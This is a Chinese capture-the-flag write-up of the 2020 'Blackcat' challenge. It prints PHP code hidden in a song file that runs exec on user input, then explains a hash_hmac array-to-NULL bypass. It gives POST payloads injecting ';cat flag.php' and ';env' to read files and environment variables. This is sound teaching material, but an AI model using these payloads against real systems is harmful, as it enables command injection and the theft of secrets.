[羊城杯 2020]Blackcat

不用怀疑，整首歌真的只是黑猫警长

歌下载下来，010查看最后面发现代码

<?php
if (empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])) {
    die();
}
$clandestine = getenv("clandestine");
if (isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if ($hh !== $_POST['Black-Cat-Sheriff']) {
    die();
}
echo exec("nc" . $_POST['One-ear'])

还是很好理解的，就是两次 hmac加密，第一次秘钥是 环境变量，第二次秘钥则是 第一次的结果

最后如果两次加密后结果 与我们输入的相等，则执行后面的命令

这里提一下 hash_hmac() 的一个漏洞，如果 data是数组，就会返回错误，返回 NULL，这样就绕过了我们不知道环境变量的问题

所以最后的加密结果也是可以预见的

<?php
$clandestine = hash_hmac('sha256', array(), 'abc');
$hh = hash_hmac('sha256', '123;cat flag.php', $clandestine);
echo $hh;
# 7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075

payload

White-cat-monitor[]=1
&One-ear=123;cat flag.php
&Black-Cat-Sheriff=7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075

恶心，这个是假 flag，真 flag在 env里，麻了

White-cat-monitor[]=1
&One-ear=123;env
&Black-Cat-Sheriff=2484dd802be98dc3dd9df9513fb681e68257505ce55bf7d79d4778142fed24f9